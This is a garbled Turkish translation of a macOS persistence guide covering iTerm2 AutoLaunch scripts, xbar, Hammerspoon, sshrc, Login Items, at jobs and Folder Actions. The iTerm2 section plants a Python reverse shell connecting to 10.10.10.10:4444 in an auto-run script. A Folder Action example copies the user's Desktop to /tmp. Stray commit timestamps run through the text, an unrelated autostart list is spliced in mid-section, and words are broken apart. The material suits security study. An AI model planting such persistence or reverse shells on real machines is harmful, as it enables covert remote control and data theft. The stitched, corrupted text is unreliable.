* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
* TCC atlaması : [✅ ](https://emojipedia.org/check-mark-button )
* iTerm2, TCC izinlerine sahip olmuştu
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konumlar
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: iTerm açı ldı ğı nda
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: iTerm açı ldı ğı nda
2023-09-28 20:05:35 +00:00
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: iTerm açı ldı ğı nda
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** dizininde depolanan betikler çalı ştı rı lı r. Örneğin:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" < < EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
```
2024-02-10 18:14:16 +00:00
# macOS Otomatik Başlatma Konumları
Bu bölümde, macOS işletim sisteminde otomatik başlatma konumları nı keşfetmek için kullanı lan farklı yöntemleri bulacaksı nı z. Bu konumlar, kötü niyetli bir saldı rganı n sisteme erişim sağlamak veya kalı cı bir şekilde etkileşimde bulunmak için kullanabileceği yerlerdir.
## 1. Launchd
Launchd, macOS'ta otomatik başlatma işlemlerini yönetmek için kullanı lan bir sistem yöneticisidir. Aşağı daki komutu kullanarak, Launchd tarafı ndan yönetilen otomatik başlatma öğelerini listeleyebilirsiniz:
```bash
$ launchctl list
```
## 2. LaunchAgents
LaunchAgents, kullanı cı seviyesinde otomatik başlatma öğelerini içeren bir dizindir. Aşağı daki komutu kullanarak, LaunchAgents dizinindeki otomatik başlatma öğelerini listeleyebilirsiniz:
```bash
$ ls ~/Library/LaunchAgents
```
## 3. LaunchDaemons
LaunchDaemons, sistem seviyesinde otomatik başlatma öğelerini içeren bir dizindir. Aşağı daki komutu kullanarak, LaunchDaemons dizinindeki otomatik başlatma öğelerini listeleyebilirsiniz:
```bash
$ ls /Library/LaunchDaemons
```
## 4. Startup Items
Startup Items, eski macOS sürümlerinde kullanı lan bir otomatik başlatma yöntemidir. Aşağı daki komutu kullanarak, Startup Items dizinindeki otomatik başlatma öğelerini listeleyebilirsiniz:
```bash
$ ls /Library/StartupItems
```
## 5. Login Items
Login Items, kullanı cı oturumu açı ldı ğı nda otomatik olarak başlatı lan uygulamaları içeren bir özelliktir. Aşağı daki komutu kullanarak, Login Items listesini görüntüleyebilirsiniz:
```bash
$ osascript -e 'tell application "System Events" to get the name of every login item'
```
## 6. Cron Jobs
Cron Jobs, zamanlanmı ş görevleri çalı ştı rmak için kullanı lan bir sistem aracı dı r. Aşağı daki komutu kullanarak, kullanı cı ya ait cron görevlerini listeleyebilirsiniz:
```bash
$ crontab -l
```
## 7. Spotlight Importer Plugins
Spotlight Importer Plugins, Spotlight arama motoruna özel dosya türlerini tanı tmak için kullanı lan eklentilerdir. Aşağı daki komutu kullanarak, Spotlight Importer Plugins dizinindeki eklentileri listeleyebilirsiniz:
```bash
$ ls /Library/Spotlight
```
## 8. QuickLook Plugins
QuickLook Plugins, Finder'da hı zlı bir önizleme sağlamak için kullanı lan eklentilerdir. Aşağı daki komutu kullanarak, QuickLook Plugins dizinindeki eklentileri listeleyebilirsiniz:
```bash
$ ls /Library/QuickLook
```
## 9. Safari Extensions
Safari Extensions, Safari tarayı cı sı na eklenen özellikleri sağlayan eklentilerdir. Aşağı daki komutu kullanarak, Safari Extensions dizinindeki eklentileri listeleyebilirsiniz:
```bash
$ ls ~/Library/Safari/Extensions
```
## 10. Login Hooks
Login Hooks, kullanı cı oturumu açı ldı ğı nda çalı ştı rı lan özel betiklerdir. Aşağı daki komutu kullanarak, Login Hooks'u kontrol edebilirsiniz:
```bash
$ sudo defaults read com.apple.loginwindow LoginHook
```
## 11. Logout Hooks
Logout Hooks, kullanı cı oturumu kapatı ldı ğı nda çalı ştı rı lan özel betiklerdir. Aşağı daki komutu kullanarak, Logout Hooks'u kontrol edebilirsiniz:
```bash
$ sudo defaults read com.apple.loginwindow LogoutHook
```
## 12. Kernel Extensions
Kernel Extensions, macOS çekirdeğine eklenen sürücü veya sistem genişletmeleridir. Aşağı daki komutu kullanarak, yüklü Kernel Extensions'ları listeleyebilirsiniz:
```bash
$ kextstat | grep -v com.apple
```
## 13. Launchctl Overrides
Launchctl Overrides, Launchd tarafı ndan yönetilen otomatik başlatma öğelerinin geçersiz kı lı nması nı sağlayan bir mekanizmadı r. Aşağı daki komutu kullanarak, Launchctl Overrides'ları kontrol edebilirsiniz:
```bash
$ sudo launchctl list | grep -v apple
```
## 14. System Preferences
System Preferences, macOS ayarları nı yönetmek için kullanı lan bir uygulamadı r. Aşağı daki adı mları izleyerek, System Preferences'ta otomatik başlatma öğelerini kontrol edebilirsiniz:
1. System Preferences uygulaması nı açı n.
2. "Users & Groups" bölümüne gidin.
3. "Login Items" sekmesini seçin.
4. Otomatik başlatma öğelerini listeleyin ve gerektiğinde kaldı rı n.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
## 15. Third-Party Applications
2023-11-02 16:52:21 +00:00
2024-02-10 18:14:16 +00:00
Üçüncü taraf uygulamalar, macOS'ta otomatik başlatma öğelerini ekleyebilir. Bu nedenle, yüklediğiniz uygulamaları n otomatik başlatma ayarları nı kontrol etmek önemlidir. Bu ayarlar genellikle uygulama tercihlerinde veya menü çubuğunda bulunur.
---
Bu konumlar, macOS işletim sisteminde otomatik başlatma öğelerini keşfetmek için kullanı lan farklı yöntemleri içermektedir. Bu bilgileri kullanarak, sisteminizdeki otomatik başlatma öğelerini kontrol edebilir ve gerektiğinde kaldı rabilirsiniz.
2023-11-02 16:52:21 +00:00
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" < < EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
2024-02-10 18:14:16 +00:00
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)
2023-11-02 16:52:21 +00:00
iterm2.run_forever(main)
EOF
```
2024-02-10 18:14:16 +00:00
Aşağı daki komut da çalı ştı rı lacak: ** `~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt` **
2023-09-28 20:05:35 +00:00
```bash
do shell script "touch /tmp/iterm2-autolaunchscpt"
```
2024-02-10 18:14:16 +00:00
**`~/Library/Preferences/com.googlecode.iterm2.plist`** dosyası nda bulunan iTerm2 tercihleri, iTerm2 terminali açı ldı ğı nda **çalı ştı rı lacak bir komut belirtebilir** .
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Bu ayar, iTerm2 ayarları nda yapı landı rı labilir:
2023-09-28 20:05:35 +00:00
2024-01-10 00:59:55 +00:00
< figure > < img src = "../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt = "" width = "563" > < figcaption > < / figcaption > < / figure >
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
Ve komut tercihlere yansı r:
2023-09-28 20:05:35 +00:00
```bash
plutil -p com.googlecode.iterm2.plist
{
2024-02-10 18:14:16 +00:00
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
2023-09-28 15:09:34 +00:00
```
2024-02-10 18:14:16 +00:00
Komutu yürütmek için aşağı daki komutu kullanabilirsiniz:
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% code overflow="wrap" %}
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2
# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
2023-09-28 15:09:34 +00:00
```
2023-09-28 20:05:35 +00:00
{% endcode %}
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="warning" %}
2024-02-10 18:14:16 +00:00
İTunes tercihlerini kötüye kullanmanı n **diğer yolları olabileceği** yüksek olası lı ktı r.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
### xbar
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0007/ ](https://theevilbit.github.io/beyond/beyond\_0007/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
* Ancak xbar yüklü olmalı
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
* Erişilebilirlik izni istiyor
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application\ Support/xbar/plugins/`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: xbar çalı ştı rı ldı ğı nda
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama
2023-12-29 13:55:22 +00:00
2024-02-10 18:14:16 +00:00
Eğer popüler program [**xbar** ](https://github.com/matryer/xbar ) yüklü ise, ** `~/Library/Application\ Support/xbar/plugins/` ** dizininde bir kabuk komutu yazmak mümkündür. Bu komut xbar başlatı ldı ğı nda çalı ştı rı lacaktı r:
2023-12-29 13:55:22 +00:00
```bash
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" < < EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
```
2023-09-28 20:05:35 +00:00
### Hammerspoon
2024-02-10 18:14:16 +00:00
**Yazı lı m İncelemesi**: [https://theevilbit.github.io/beyond/beyond\_0008/ ](https://theevilbit.github.io/beyond/beyond\_0008/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
* Ancak Hammerspoon yüklü olmalı
* TCC atlatması : [✅ ](https://emojipedia.org/check-mark-button )
* Erişilebilirlik izni istiyor
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
* **`~/.hammerspoon/init.lua`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Hammerspoon çalı ştı rı ldı ğı nda
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
[**Hammerspoon** ](https://github.com/Hammerspoon/hammerspoon ), işlemleri için **LUA betik dili**ni kullanan bir **macOS** otomasyon platformu olarak hizmet verir. Özellikle, tam AppleScript kodunun entegrasyonunu ve kabuk komutları nı n yürütülmesini destekleyerek betikleme yeteneklerini önemli ölçüde artı rı r.
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
Uygulama, `~/.hammerspoon/init.lua` adlı tek bir dosyayı arar ve başlatı ldı ğı nda betik yürütülür.
2023-09-28 20:05:35 +00:00
```bash
2023-12-29 13:55:22 +00:00
mkdir -p "$HOME/.hammerspoon"
2023-09-28 20:05:35 +00:00
cat > "$HOME/.hammerspoon/init.lua" < < EOF
2023-12-29 13:55:22 +00:00
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
2023-09-28 20:05:35 +00:00
EOF
```
2023-09-28 15:09:34 +00:00
### SSHRC
2024-02-10 18:14:16 +00:00
Yazı m: [https://theevilbit.github.io/beyond/beyond\_0006/ ](https://theevilbit.github.io/beyond/beyond\_0006/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
* Ancak ssh etkinleştirilmeli ve kullanı lmalı dı r
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
* SSH, FDA erişimine sahip olmak için kullanı lı r
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* **`~/.ssh/rc`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: ssh ile oturum açma
2023-09-28 15:09:34 +00:00
* **`/etc/ssh/sshrc`**
2024-02-10 18:14:16 +00:00
* Kök erişimi gerektirir
* **Tetikleyici**: ssh ile oturum açma
2023-09-28 15:09:34 +00:00
2023-12-29 13:55:22 +00:00
{% hint style="danger" %}
2024-02-10 18:14:16 +00:00
Ssh'yi açmak için Tam Disk Erişimi gereklidir:
2023-09-28 15:09:34 +00:00
```bash
2023-12-29 13:55:22 +00:00
sudo systemsetup -setremotelogin on
2023-09-28 15:09:34 +00:00
```
2023-12-29 13:55:22 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-12-29 13:55:22 +00:00
2024-02-10 18:14:16 +00:00
Varsayı lan olarak, `/etc/ssh/sshd_config` dosyası nda `PermitUserRC no` olmadı ğı sürece, bir kullanı cı **SSH üzerinden giriş yaptı ğı nda** ** `/etc/ssh/sshrc` ** ve ** `~/.ssh/rc` ** betikleri çalı ştı rı lı r.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
### **Giriş Öğeleri**
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0003/ ](https://theevilbit.github.io/beyond/beyond\_0003/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
* Ancak, `osascript` 'i argümanlarla çalı ştı rmanı z gerekiyor
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konumlar
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici:** Giriş
* Sömürü yükü, ** `osascript` ** çağrı sı yla depolanı r
2023-09-28 20:05:35 +00:00
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici:** Giriş
* Root gereklidir
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Sistem Tercihleri -> Kullanı cı lar ve Gruplar -> **Giriş Öğeleri** bölümünde, kullanı cı nı n oturum açtı ğı nda çalı ştı rı lacak **öğeleri bulabilirsiniz** .\
Onları komut satı rı ndan listelemek, eklemek ve kaldı rmak mümkündür:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'
#Add an item:
2024-02-10 18:14:16 +00:00
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
2023-09-28 20:05:35 +00:00
#Remove an item:
2024-02-10 18:14:16 +00:00
osascript -e 'tell application "System Events" to delete login item "itemname"'
2023-09-28 15:09:34 +00:00
```
2024-02-10 18:14:16 +00:00
Bu öğeler, ** `~/Library/Application Support/com.apple.backgroundtaskmanagementagent` ** dosyası nda saklanı r.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
**Oturum açma öğeleri**, [SMLoginItemSetEnabled ](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc ) API'si kullanı larak da belirtilebilir ve yapı landı rma ** `/var/db/com.apple.xpc.launchd/loginitems.501.plist` ** dosyası nda saklanı r.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
### Oturum Açma Öğesi Olarak ZIP
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
(Oturum Açma Öğeleri hakkı nda önceki bölümü kontrol edin, bu bir uzantı dı r)
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Bir **ZIP** dosyası nı bir **Oturum Açma Öğesi** olarak saklarsanı z, ** `Archive Utility` ** onu açacak ve örneğin ** `~/Library` ** içinde saklanan ve bir arka kapı içeren ** `LaunchAgents/file.plist` ** adlı bir Klasör içeren zip varsa, bu klasör oluşturulur (varsayı lan olarak değil) ve plist eklenir, böylece kullanı cı bir sonraki oturum açtı ğı nda, plist'de belirtilen **arka kapı çalı ştı rı lı r** .
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Başka bir seçenek, kullanı cı HOME içine ** `.bash_profile` ** ve ** `.zshenv` ** dosyaları nı oluşturmaktı r, böylece LaunchAgents klasörü zaten varsa bu teknik hala çalı şı r.
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
### At
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0014/ ](https://theevilbit.github.io/beyond/beyond\_0014/ )
2023-12-30 00:49:26 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
* Ancak ** `at` **'yi **yürütmeniz** ve etkin olması gerekmektedir
* TCC atlaması : [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* **`at`**'yi **yürütmeniz** ve etkin olması gerekmektedir
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### **Açı klama**
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
`at` görevleri, belirli zamanlarda yürütülecek **tek seferlik görevleri zamanlamak** için tasarlanmı ştı r. Cron işleriyle farklı olarak, `at` görevleri yürütme sonrası nda otomatik olarak kaldı rı lı r. Bu görevlerin sistem yeniden başlatmaları boyunca kalı cı olduğunu unutmamak önemlidir, bu da belirli koşullar altı nda potansiyel güvenlik endişeleri olarak işaretlenir.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
**Varsayı lan olarak** devre dı şı dı rlar, ancak **root** kullanı cı sı bunları etkinleştirebilir:
2023-09-28 20:05:35 +00:00
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
2024-02-10 18:14:16 +00:00
Bu, 1 saat içinde bir dosya oluşturacak:
2023-09-28 20:05:35 +00:00
```bash
echo "echo 11 > /tmp/at.txt" | at now+1
```
2024-02-10 18:14:16 +00:00
`atq` komutunu kullanarak iş kuyruğunu kontrol edin:
2023-09-28 20:05:35 +00:00
```shell-session
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
```
2024-02-10 18:14:16 +00:00
Yukarı da iki zamanlanmı ş iş görebiliriz. İşi ayrı ntı ları yla yazdı rmak için `at -c İŞNUMARASI` kullanabiliriz.
2023-09-28 20:05:35 +00:00
```shell-session
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
2024-02-10 18:14:16 +00:00
echo 'Execution directory inaccessible' >& 2
exit 1
2023-09-28 20:05:35 +00:00
}
unset OLDPWD
echo 11 > /tmp/at.txt
```
{% hint style="warning" %}
2024-02-10 18:14:16 +00:00
Eğer AT görevleri etkinleştirilmezse, oluşturulan görevler çalı ştı rı lmaz.
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
**İş dosyaları **, `/private/var/at/jobs/` dizininde bulunabilir.
2023-09-28 20:05:35 +00:00
```
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
```
2024-02-10 18:14:16 +00:00
Dosya adı , sı rayı , iş numarası nı ve çalı ştı rı lması planlanan zamanı içerir. Örneğin, `a0001a019bdcd2` 'ye bir göz atalı m.
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
* `a` - bu sı radı r
* `0001a` - onaltı lı k iş numarası , `0x1a = 26`
* `019bdcd2` - onaltı lı k zaman. Bu, epoch'tan bu yana geçen dakikaları temsil eder. `0x019bdcd2` , ondalı k olarak `26991826` 'dı r. 60 ile çarptı ğı mı zda `1619509560` elde ederiz, bu da `GMT: 2021 Nisan 27, Salı 7:46:00` 'yi temsil eder.
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
İş dosyası nı yazdı rı rsak, `at -c` kullanarak elde ettiğimiz bilgileri içerdiğini görürüz.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
### Klasör Eylemleri
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0024/ ](https://theevilbit.github.io/beyond/beyond\_0024/ )\
Yazı : [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d ](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
* Ancak, Klasör Eylemlerini yapı landı rmak için ** `System Events` ** ile iletişim kurmak için `osascript` 'i argümanlarla çağı rabilmeniz gerekmektedir.
* TCC atlatma: [🟠 ](https://emojipedia.org/large-orange-circle )
* Masaüstü, Belgeler ve İndirilenler gibi bazı temel TCC izinlerine sahiptir.
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/Library/Scripts/Folder Action Scripts`**
2024-02-10 18:14:16 +00:00
* Kök izni gereklidir
* **Tetikleyici**: Belirtilen klasöre erişim
2023-09-28 20:05:35 +00:00
* **`~/Library/Scripts/Folder Action Scripts`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Belirtilen klasöre erişim
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Klasör Eylemleri, bir klasördeki değişiklikler (örneğin, öğe ekleme, kaldı rma veya klasör penceresini açma veya yeniden boyutlandı rma gibi diğer eylemler) tarafı ndan otomatik olarak tetiklenen komut dosyaları dı r. Bu eylemler çeşitli görevler için kullanı labilir ve Finder UI veya terminal komutları kullanı larak tetiklenebilir.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Klasör Eylemleri kurmak için şu seçeneklere sahipsiniz:
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
1. [Automator ](https://support.apple.com/guide/automator/welcome/mac ) ile bir Klasör Eylemi iş akı şı oluşturmak ve bir hizmet olarak yüklemek.
2. Bir klasörün bağlam menüsündeki Klasör Eylemleri Kurulumu aracı lı ğı yla manuel olarak bir komut dosyası eklemek.
3. Programatik olarak bir Klasör Eylemi kurmak için Apple Event mesajları nı `System Events.app` 'e göndermek için OSAScript'i kullanmak.
* Bu yöntem, eylemi sisteme gömmek ve kalı cı lı k düzeyi sunmak için özellikle kullanı şlı dı r.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Aşağı daki komut dosyası , bir Klasör Eylemi tarafı ndan yürütülebilecek bir örnektir:
2023-09-28 15:09:34 +00:00
```applescript
2024-02-07 04:06:18 +00:00
// source.js
2023-09-28 15:09:34 +00:00
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
2024-02-10 18:14:16 +00:00
Yukarı daki betiği Klasör Eylemleri tarafı ndan kullanı labilir hale getirmek için şu şekilde derleyin:
2024-02-07 04:06:18 +00:00
```bash
osacompile -l JavaScript -o folder.scpt source.js
```
2024-02-10 18:14:16 +00:00
Script derlendikten sonra, aşağı daki komut dosyası nı çalı ştı rarak Klasör Eylemlerini yapı landı rı n. Bu komut dosyası Klasör Eylemlerini genel olarak etkinleştirecek ve önceden derlenmiş komut dosyası nı Masaüstü klasörüne özel olarak ekleyecektir.
2024-02-07 04:06:18 +00:00
2024-02-10 18:14:16 +00:00
```bash
osascript -e 'tell application "Finder" to set folder actions enabled to true'
osascript -e 'tell application "Finder" to set the scriptFile to POSIX file "/path/to/compiled/script"'
osascript -e 'tell application "Finder" to set the folderPath to POSIX file "/path/to/Desktop"'
osascript -e 'tell application "Finder" to set the folderActions to folder actions of folder folderPath'
osascript -e 'tell application "Finder" to set the newAction to make new folder action at end of folderActions with properties {name:"My Folder Action", path:scriptFile}'
```
2023-09-28 15:09:34 +00:00
```javascript
2024-02-07 04:06:18 +00:00
// Enabling and attaching Folder Action
2023-09-28 15:09:34 +00:00
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);
```
2024-02-10 18:14:16 +00:00
Kurulum betiğini şu şekilde çalı ştı rı n:
2024-02-07 04:06:18 +00:00
```bash
osascript -l JavaScript /Users/username/attach.scpt
```
2024-02-10 18:14:16 +00:00
* Bu kalı cı lı ğı GUI aracı lı ğı yla uygulamanı n yolu budur:
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Aşağı daki betik çalı ştı rı lacaktı r:
2023-09-28 15:09:34 +00:00
{% code title="source.js" %}
```applescript
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
{% endcode %}
2024-02-10 18:14:16 +00:00
Bunu şu şekilde derleyin: `osacompile -l JavaScript -o folder.scpt source.js`
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Şuraya taşı yı n:
2023-09-28 15:09:34 +00:00
```bash
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
```
2024-02-10 18:14:16 +00:00
Ardı ndan, `Folder Actions Setup` uygulaması nı açı n, **izlemek istediğiniz klasörü** seçin ve durumunuzda ** `folder.scpt` **'yi seçin (benim durumumda output2.scp olarak adlandı rdı m):
2023-09-28 15:09:34 +00:00
2024-01-10 00:59:55 +00:00
< figure > < img src = "../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt = "" width = "297" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Şimdi, **Finder** ile o klasörü açarsanı z, betiğiniz çalı ştı rı lacaktı r.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Bu yapı landı rma, base64 formatı nda ** `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist` ** konumunda saklanmı ştı r.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Şimdi, GUI erişimi olmadan bu kalı cı lı ğı hazı rlamayı deneyelim:
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
